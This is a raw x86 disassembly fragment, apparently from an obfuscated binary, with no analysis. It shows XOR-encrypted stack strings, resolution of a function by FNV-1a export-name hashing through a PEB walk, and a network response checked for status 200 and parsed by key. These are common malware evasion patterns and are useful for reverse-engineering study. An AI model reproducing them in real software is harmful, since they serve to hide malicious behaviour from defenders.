jne 0xcabfd8
mov dword [ebp - 0x3c0], 0xb0f686f1
mov dword [ebp - 0x3bc], 0x96269492
mov eax, dword [ebp - 0x3c0]
mov ecx, dword [ebp - 0x3bc]
mov dword [ebp - 0x630], eax
mov dword [ebp - 0x62c], ecx
mov dword [ebp - 0x3c8], 0x7dbb92e6
mov dword [ebp - 0x3c4], 0x14d846fe
mov eax, dword [ebp - 0x3c8]
mov ecx, dword [ebp - 0x3c4]
mov dword [ebp - 0x628], eax
mov dword [ebp - 0x624], ecx
lea ecx, [ebp - 0x630]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0xe0]
call fcn.00bfcb80
mov esi, eax
mov dword [ebp - 0x3d0], 0xa6ef8af6
mov dword [ebp - 0x3cc], 0xf940fadb
mov ecx, dword [ebp - 0x3d0]
mov edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x580], ecx
mov dword [ebp - 0x57c], edx
mov dword [ebp - 0x3d8], 0x7dbb92e6
mov dword [ebp - 0x3d4], 0x14d846fe
mov eax, dword [ebp - 0x3d8]
mov ecx, dword [ebp - 0x3d4]
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], ecx
lea ecx, [ebp - 0x580]
call fcn.00bf4ed0
push eax
mov ecx, esi
call fcn.00bfcb80
lea ecx, [ebp - 0xca8]
push ecx
mov ecx, eax
call fcn.00bfcce0
mov byte [ebp - 4], 0x31
push eax
lea ecx, [ebp - 0xa0]
call fcn.00bf7ec0
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0xca8]
call fcn.00be49f0
mov byte [ebp - 4], 0x28
push dword [ebp - 0xe0]
lea ecx, [ebp - 0xd8]
call fcn.00bf96f0
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0xb84]
call fcn.00be49f0
jmp 0xcac2b6
mov dword [ebp - 4], 3
cmp dword [ebp - 0x60], 0
jbe 0xcac394
cmp dword [ebp - 0x90], 0
jbe 0xcac394
mov dword [ebp - 0x28], 0xdf9bb9cf
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], ecx
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
movaps xmm1, xmmword [ebp - 0x1a0]
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x1a0], xmm1
lea edx, [ebp - 0x1a0]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0xcac363
sub edx, ecx
lea ecx, [ebp - 0x70]
cmp dword [ebp - 0x5c], 0xf
cmova ecx, dword [ebp - 0x70]
push edx
lea eax, [ebp - 0x1a0]
push eax
push 0
mov edx, dword [ebp - 0x60]
call fcn.00bfe3e0
add esp, 0xc
test eax, eax
jne 0xcacf19
mov byte [ebp - 4], 0x33
push 0xa359da
lea ecx, [ebp - 0xb54]
call fcn.00be48f0
mov byte [ebp - 4], 0x34
push 0x98
call fcn.00c15272
add esp, 4
mov dword [ebp - 0xabc], eax
mov byte [ebp - 4], 0x35
mov ecx, eax
call fcn.00cceb20
mov dword [ebp - 0x104], eax
mov byte [ebp - 4], 0x34
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x24], esp
push 0xa35e8c
call fcn.00bf7a60
mov byte [ebp - 4], 0x36
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x34], esp
push 0xa359da
call fcn.00be48f0
mov byte [ebp - 4], 0x37
mov dword [ebp - 0x3e0], 0xf1ec94e2
mov dword [ebp - 0x3dc], 0x94389bb6
mov eax, dword [ebp - 0x3e0]
mov ecx, dword [ebp - 0x3dc]
mov dword [ebp - 0x860], eax
mov dword [ebp - 0x85c], ecx
mov dword [ebp - 0x3e8], 0x53dffc8f
mov dword [ebp - 0x3e4], 0x3bb5299d
mov eax, dword [ebp - 0x3e8]
mov ecx, dword [ebp - 0x3e4]
mov dword [ebp - 0x858], eax
mov dword [ebp - 0x854], ecx
mov dword [ebp - 0x3f0], 0xb0200cc0
mov dword [ebp - 0x3ec], 0xf2b9e969
mov eax, dword [ebp - 0x3f0]
mov ecx, dword [ebp - 0x3ec]
mov dword [ebp - 0x850], eax
mov dword [ebp - 0x84c], ecx
mov dword [ebp - 0x3f8], 0xcd5677c6
mov dword [ebp - 0x3f4], 0xa6b82f15
mov eax, dword [ebp - 0x3f8]
mov ecx, dword [ebp - 0x3f4]
mov dword [ebp - 0x848], eax
mov dword [ebp - 0x844], ecx
mov dword [ebp - 0x400], 0xe52d7284
mov dword [ebp - 0x3fc], 0x7eadd2b7
mov eax, dword [ebp - 0x400]
mov ecx, dword [ebp - 0x3fc]
mov dword [ebp - 0x840], eax
mov dword [ebp - 0x83c], ecx
mov dword [ebp - 0x408], 0xd5d93a8a
mov dword [ebp - 0x404], 0x19127bfa
mov eax, dword [ebp - 0x408]
mov ecx, dword [ebp - 0x404]
mov dword [ebp - 0x838], eax
mov dword [ebp - 0x834], ecx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x58], esp
lea ecx, [ebp - 0x860]
call fcn.00bf4ad0
push eax
mov ecx, esi
call fcn.00be48f0
mov byte [ebp - 4], 0x38
push 0xa35e90
lea eax, [ebp - 0xb54]
push eax
push 0xa
push ecx
mov byte [ebp - 4], 0x34
mov ecx, dword [ebp - 0x104]
call fcn.00ccf530
cmp eax, 0xc8
jne 0xcacc49
sub esp, 0x28
mov dword [ebp - 0x24], esp
mov eax, esp
mov dword [ebp - 0xab8], eax
mov dword [eax + 0x24], 0
mov byte [ebp - 4], 0x39
mov byte [ebp - 4], 0x3a
push 0
push 1
mov byte [ebp - 4], 0x34
lea edx, [ebp - 0xb54]
lea ecx, [ebp - 0xb8]
call fcn.00bfd030
add esp, 0x30
mov byte [ebp - 4], 0x3b
cmp byte [ebp - 0xb8], 1
jne 0xcacc34
mov dword [ebp - 0x410], 0xb1ee8cf6
mov dword [ebp - 0x40c], 0xf93988af
mov eax, dword [ebp - 0x410]
mov ecx, dword [ebp - 0x40c]
mov dword [ebp - 0x650], eax
mov dword [ebp - 0x64c], ecx
mov dword [ebp - 0x418], 0x7dbb92e6
mov dword [ebp - 0x414], 0x14d846fe
mov eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 0x414]
mov dword [ebp - 0x648], eax
mov dword [ebp - 0x644], ecx
lea ecx, [ebp - 0x650]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0xb8]
call fcn.00bfcb80
mov dword [ebp - 0xab4], eax
cmp byte [eax], 0
je 0xcacc34
mov dword [ebp - 0x420], 0xb1ee8cf6
mov dword [ebp - 0x41c], 0xf93988af
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 0x41c]
mov dword [ebp - 0x660], eax
mov dword [ebp - 0x65c], ecx
mov dword [ebp - 0x428], 0x7dbb92e6
mov dword [ebp - 0x424], 0x14d846fe
mov eax, dword [ebp - 0x428]
mov ecx, dword [ebp - 0x424]
mov dword [ebp - 0x658], eax
mov dword [ebp - 0x654], ecx
lea ecx, [ebp - 0x660]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0xb8]
call fcn.00bfcb80
mov dword [ebp - 0xaa0], eax
cmp byte [eax], 1
jne 0xcacc34
mov dword [ebp - 0x430], 0xb1ee8cf6
mov dword [ebp - 0x42c], 0xf93988af
mov eax, dword [ebp - 0x430]
mov ecx, dword [ebp - 0x42c]
mov dword [ebp - 0x670], eax
mov dword [ebp - 0x66c], ecx
mov dword [ebp - 0x438], 0x7dbb92e6
mov dword [ebp - 0x434], 0x14d846fe
mov eax, dword [ebp - 0x438]
mov ecx, dword [ebp - 0x434]
mov dword [ebp - 0x668], eax
mov dword [ebp - 0x664], ecx
lea ecx, [ebp - 0x670]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0xb8]
call fcn.00bfcb80
mov esi, eax
mov dword [ebp - 0x440], 0x80f490fc
mov dword [ebp - 0x43c], 0x9c2495b8
mov ecx, dword [ebp - 0x440]
mov edx, dword [ebp - 0x43c]
mov dword [ebp - 0x680], ecx
mov dword [ebp - 0x67c], edx
mov dword [ebp - 0x448], 0x7dbb92e6
mov dword [ebp - 0x444], 0x14d846fe
mov eax, dword [ebp - 0x448]
mov ecx, dword [ebp - 0x444]
mov dword [ebp - 0x678], eax
mov dword [ebp - 0x674], ecx
lea ecx, [ebp - 0x680]
call fcn.00bf4ed0
push eax
mov ecx, esi
call fcn.00bfcb80
mov dword [ebp - 0xaec], eax
cmp byte [eax], 3
jne 0xcacc34
mov dword [ebp - 0x450], 0xb1ee8cf6
mov dword [ebp - 0x44c], 0xf93988af
mov eax, dword [ebp - 0x450]
mov ecx, dword [ebp - 0x44c]
mov dword [ebp - 0x690], eax
mov dword [ebp - 0x68c], ecx
mov dword [ebp - 0x458], 0x7dbb92e6
mov dword [ebp - 0x454], 0x14d846fe
mov eax, dword [ebp - 0x458]
mov ecx, dword [ebp - 0x454]
mov dword [ebp - 0x688], eax
mov dword [ebp - 0x684], ecx
lea ecx, [ebp - 0x690]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0xb8]
call fcn.00bfcb80
mov esi, eax
mov dword [ebp - 0x460], 0x80f490fc
mov dword [ebp - 0x45c], 0x9c2495b8
mov ecx, dword [ebp - 0x460]
mov edx, dword [ebp - 0x45c]
mov dword [ebp - 0x6a0], ecx
mov dword [ebp - 0x69c], edx
mov dword [ebp - 0x468], 0x7dbb92e6
mov dword [ebp - 0x464], 0x14d846fe
mov eax, dword [ebp - 0x468]
mov ecx, dword [ebp - 0x464]
mov dword [ebp - 0x698], eax
mov dword [ebp - 0x694], ecx
lea ecx, [ebp - 0x6a0]
call fcn.00bf4ed0
push eax
mov ecx, esi
call fcn.00bfcb80
mov dword [ebp - 0xad8], eax
cmp byte [eax], 0
je 0xcacc34
mov dword [ebp - 0x470], 0xa6ef8af6
mov dword [ebp - 0x46c], 0xf940fadb
mov eax, dword [ebp - 0x470]
mov ecx, dword [ebp - 0x46c]
mov dword [ebp - 0x6b0], eax
mov dword [ebp - 0x6ac], ecx
mov dword [ebp - 0x110], 0x7dbb92e6
mov dword [ebp - 0x10c], 0x14d846fe
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x10c]
mov dword [ebp - 0x6a8], eax
mov dword [ebp - 0x6a4], ecx
lea ecx, [ebp - 0x6b0]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0xb8]
call fcn.00bfcb80
mov esi, eax
mov dword [ebp - 0x118], 0xbaf682fb
mov dword [ebp - 0x114], 0xf940faa8
mov ecx, dword [ebp - 0x118]
mov edx, dword [ebp - 0x114]
mov dword [ebp - 0x6c0], ecx
mov dword [ebp - 0x6bc], edx
mov dword [ebp - 0x120], 0x7dbb92e6
mov dword [ebp - 0x11c], 0x14d846fe
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x11c]
mov dword [ebp - 0x6b8], eax
mov dword [ebp - 0x6b4], ecx
lea ecx, [ebp - 0x6c0]
call fcn.00bf4ed0
push eax
mov ecx, esi
call fcn.00bfcb80
mov esi, eax
mov dword [ebp - 0x128], 0xdf9b8df0
mov dword [ebp - 0x124], 0xf940fadb
mov ecx, dword [ebp - 0x128]
mov edx, dword [ebp - 0x124]
mov dword [ebp - 0x6d0], ecx
mov dword [ebp - 0x6cc], edx
mov dword [ebp - 0x130], 0x7dbb92e6
mov dword [ebp - 0x12c], 0x14d846fe
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x12c]
mov dword [ebp - 0x6c8], eax
mov dword [ebp - 0x6c4], ecx
lea ecx, [ebp - 0x6d0]
call fcn.00bf4ed0
push eax
mov ecx, esi
call fcn.00bfcb80
mov dword [ebp - 0xad4], eax
cmp byte [eax], 0
jne 0xcacc34
mov dword [ebp - 0x138], 0xb1ee8cf6
mov dword [ebp - 0x134], 0xf93988af
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x134]
mov dword [ebp - 0x6e0], eax
mov dword [ebp - 0x6dc], ecx
mov dword [ebp - 0x140], 0x7dbb92e6
mov dword [ebp - 0x13c], 0x14d846fe
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x13c]
mov dword [ebp - 0x6d8], eax
mov dword [ebp - 0x6d4], ecx
lea ecx, [ebp - 0x6e0]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0xb8]
call fcn.00bfcb80
mov esi, eax
mov dword [ebp - 0x148], 0x80f490fc
mov dword [ebp - 0x144], 0x9c2495b8
mov ecx, dword [ebp - 0x148]
mov edx, dword [ebp - 0x144]
mov dword [ebp - 0x6f0], ecx
mov dword [ebp - 0x6ec], edx
mov dword [ebp - 0x150], 0x7dbb92e6
mov dword [ebp - 0x14c], 0x14d846fe
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0x6e4], ecx
lea ecx, [ebp - 0x6f0]
call fcn.00bf4ed0
push eax
mov ecx, esi
call fcn.00bfcb80
lea ecx, [ebp - 0xbb8]
push ecx
mov ecx, eax
call fcn.00bfcce0
mov byte [ebp - 4], 0x3c
push eax
lea ecx, [ebp - 0x70]
call fcn.00bf7ec0
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0xbb8]
call fcn.00be49f0
mov dword [ebp - 0x158], 0xa6ef8af6
mov dword [ebp - 0x154], 0xf940fadb
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x154]
mov dword [ebp - 0x700], eax
mov dword [ebp - 0x6fc], ecx
mov dword [ebp - 0x160], 0x7dbb92e6
mov dword [ebp - 0x15c], 0x14d846fe
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x6f8], eax
mov dword [ebp - 0x6f4], ecx
lea ecx, [ebp - 0x700]
call fcn.00bf4ed0
push eax
lea ecx, [ebp - 0xb8]
call fcn.00bfcb80
mov esi, eax
mov dword [ebp - 0x168], 0xbaf682fb
mov dword [ebp - 0x164], 0xf940faa8
mov ecx, dword [ebp - 0x168]
mov edx, dword [ebp - 0x164]
mov dword [ebp - 0x710], ecx
mov dword [ebp - 0x70c], edx
mov dword [ebp - 0x170], 0x7dbb92e6
mov dword [ebp - 0x16c], 0x14d846fe
mov eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x16c]
mov dword [ebp - 0x708], eax
mov dword [ebp - 0x704], ecx
lea ecx, [ebp - 0x710]
call fcn.00bf4ed0
push eax
mov ecx, esi
call fcn.00bfcb80
mov esi, eax
mov dword [ebp - 0x178], 0xdf9b8df0
mov dword [ebp - 0x174], 0xf940fadb
mov ecx, dword [ebp - 0x178]
mov edx, dword [ebp - 0x174]
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 0xcc], edx
mov dword [ebp - 0x30], 0x7dbb92e6
mov dword [ebp - 0x2c], 0x14d846fe
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
lea ecx, [ebp - 0xd0]
call fcn.00bf4ed0
push eax
mov ecx, esi
call fcn.00bfcb80
lea ecx, [ebp - 0xbd0]
push ecx
mov ecx, eax
call fcn.00bfcce0
mov byte [ebp - 4], 0x3d
push eax
lea ecx, [ebp - 0xa0]
call fcn.00bf7ec0
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0xbd0]
call fcn.00be49f0
mov byte [ebp - 4], 0x34
push dword [ebp - 0xb8]
lea ecx, [ebp - 0xb0]
call fcn.00bf96f0
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0xb54]
call fcn.00be49f0
jmp 0xcacf12
mov dword [ebp - 4], 3
cmp dword [ebp - 0x60], 0
je 0xcacfe3
mov dword [ebp - 0x28], 0xdf9bb9cf
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], ecx
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], ecx
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
movaps xmm1, xmmword [ebp - 0x1b0]
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x1b0], xmm1
lea edx, [ebp - 0x1b0]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0xcacfb2
sub edx, ecx
lea ecx, [ebp - 0x70]
cmp dword [ebp - 0x5c], 0xf
cmova ecx, dword [ebp - 0x70]
push edx
lea eax, [ebp - 0x1b0]
push eax
push 0
mov edx, dword [ebp - 0x60]
call fcn.00bfe3e0
add esp, 0xc
test eax, eax
jne 0xcad340
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0xba0]
call fcn.00bf7fb0
mov byte [ebp - 4], 0x40
mov byte [0xa590af], 0
mov dword [0xa56e44], 0
mov eax, 0xa56e34
cmp dword [0xa56e48], 0xf
cmova eax, dword [0xa56e34]
mov byte [eax], 0
push 0
push 0x2bd7
call fcn.00ccc020
mov esi, eax
mov edi, dword [0xa55b24]
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x24], esp
lea eax, [ebp - 0xba0]
push eax
call fcn.00bf7fb0
mov byte [ebp - 4], 0x41
mov byte [ebp - 4], 0x40
mov edx, esi
mov ecx, edi
call fcn.00beae80
add esp, 0x18
test al, al
je 0xcad114
cmp byte [0xa590af], 0
jne 0xcad114
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x24], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x34], ecx
cmp ecx, edx
je 0xcad0e6
mov edi, dword [ecx + 0x18]
test edi, edi
je 0xcad0e6
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, edx
dec edi
sub ecx, 4
mov dword [ebp - 0x58], ecx
mov ecx, dword [ecx]
add ecx, edx
mov esi, 0x811c9dc5
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0xcad0dc
nop dword [eax]
movsx edx, dl
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx]
lea ecx, [ecx + 1]
test dl, dl
jne 0xcad0c0
cmp esi, 0x2fa62ca8
je 0xcad0ea
test edi, edi
mov ecx, dword [ebp - 0x58]
mov edx, dword [eax + 0x18]
jne 0xcad0a5
mov eax, dword [eax]
jmp 0xcad080
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, edx
mov eax, dword [eax + 0x24]
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
push 0x65
call eax
cmp byte [0xa590af], 0
je 0xcad071
push 0xa56e34
lea ecx, [ebp - 0xb0c]
call fcn.00bf7fb0
mov dword [ebp - 0x54], 2
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0xba0]
call fcn.00be49f0
cmp dword [ebp - 0xafc], 0
je 0xcad326
sub esp, 0x28
mov dword [ebp - 0x24], esp
mov eax, esp
mov dword [ebp - 0x34], eax
mov dword [eax + 0x24], 0
mov byte [ebp - 4], 0x43
push 0
push 1
mov byte [ebp - 4], 0x3f
lea edx, [ebp - 0xb0c]
lea ecx, [ebp - 0x4b0]
call fcn.00bfd030
add esp, 0x30
mov byte [ebp - 4], 0x44
cmp byte [ebp - 0x4b0], 1
jne 0xcad311
mov dword [ebp - 0x28], 0xb1ee8cf6
mov dword [ebp - 0x24], 0xf93988af
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x48c], ecx
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x488], eax
mov dword [ebp - 0x484], ecx
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
movaps xmm1, xmmword [ebp - 0x490]
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x490], xmm1
lea eax, [ebp - 0x490]
push eax
lea ecx, [ebp - 0x4b0]
call fcn.00bfcb80
lea ecx, [ebp - 0xbe8]
push ecx
mov ecx, eax
call fcn.00bfcce0
mov byte [ebp - 4], 0x45
push eax
lea ecx, [ebp - 0x70]
call fcn.00bf7ec0
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0xbe8]
call fcn.00be49f0
mov dword [ebp - 0x28], 0xa6ef8af6
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x480], eax
mov dword [ebp - 0x47c], ecx
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x478], eax
mov dword [ebp - 0x474], ecx
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
movaps xmm1, xmmword [ebp - 0x480]
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x480], xmm1
lea eax, [ebp - 0x480]
push eax
lea ecx, [ebp - 0x4b0]
call fcn.00bfcb80
lea ecx, [ebp - 0xc00]
push ecx
mov ecx, eax
call fcn.00bfcce0
mov byte [ebp - 4], 0x46
push eax
lea ecx, [ebp - 0xa0]
call fcn.00bf7ec0
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0xc00]
call fcn.00be49f0
mov byte [ebp - 4], 0x3f
push dword [ebp - 0x4b0]
lea ecx, [ebp - 0x4a8]
call fcn.00bf96f0
mov dword [ebp - 0x54], 2
and dword [ebp - 0x54], 0xfffffffd
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xb0c]
call fcn.00be49f0
mov ecx, dword [ebp - 0x78]
test ecx, ecx
je 0xcad35d
lea eax, [ebp - 0x88]
cmp dword [ebp - 0x74], 0xf
cmova eax, dword [ebp - 0x88]
jmp 0xcad3ff
mov dword [ebp - 0x28], 0xf1aacda4
mov dword [ebp - 0x24], 0xf971d4ea
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], ecx
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], ecx
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
movaps xmm1, xmmword [ebp - 0x1c0]
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x1c0], xmm1
lea ecx, [ebp - 0x1c0]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xcad3f0
sub ecx, edx
lea eax, [ebp - 0x1c0]
push ecx
push eax
mov ecx, 0xa56d5c
call fcn.00bf7d30
cmp dword [ebp - 0x60], 0
jne 0xcad4bd
mov dword [ebp - 0x28], 0xdf9bb9cf
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], ecx
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], ecx
mov dword [ebp - 0x28], 0xdf9be395
mov dword [ebp - 0x24], 0xf940fadb
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x28], 0x7dbb92e6
mov dword [ebp - 0x24], 0x14d846fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
movaps xmm1, xmmword [ebp - 0x1e0]
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x1e0], xmm1
lea ecx, [ebp - 0x1e0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xcad4a4
sub ecx, edx
push ecx
lea eax, [ebp - 0x1e0]
push eax
lea ecx, [ebp - 0x70]
call fcn.00bf7d30
cmp dword [ebp - 0x90], 0
jne 0xcad584
mov dword [ebp - 0x30], 0xb1f08dc0
mov dword [ebp - 0x2c], 0xf92e8db4
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x30], 0x7dbb92e6
mov dword [ebp - 0x2c], 0x14d846fe
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x30], 0xdf9be395
mov dword [ebp - 0x2c], 0xf940fadb
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x30], 0x7dbb92e6
mov dword [ebp - 0x2c], 0x14d846fe
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
movaps xmm1, xmmword [ebp - 0x1f0]
xorps xmm1, xmmword [ebp - 0xd0]
movaps xmmword [ebp - 0x1f0], xmm1
lea ecx, [ebp - 0x1f0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xcad568
sub ecx, edx
push ecx
lea eax, [ebp - 0x1f0]
push eax
lea ecx, [ebp - 0xa0]
call fcn.00bf7d30
lea eax, [ebp - 0x70]
push eax
mov esi, dword [ebp - 0xa4]
mov ecx, esi
call fcn.00bf7fb0
mov byte [ebp - 4], 0x47
lea ecx, [esi + 0x18]
lea eax, [ebp - 0xa0]
push eax
call fcn.00bf7fb0
mov byte [ebp - 4], 3
or dword [ebp - 0x54], 1
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0xf
jbe 0xcad5ee
inc ecx
mov edx, dword [ebp - 0xa0]
mov eax, edx
cmp ecx, 0x1000
jb 0xcad5e4
add ecx, 0x23
mov edx, dword [eax - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0xcad6b9
push ecx
push edx
call fcn.00c154f3
add esp, 8
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0xf
mov byte [ebp - 0xa0], 0
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x74]
cmp ecx, 0xf
jbe 0xcad644
inc ecx
mov edx, dword [ebp - 0x88]
mov eax, edx
cmp ecx, 0x1000
jb 0xcad63a
add ecx, 0x23
mov edx, dword [eax - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0xcad6b9
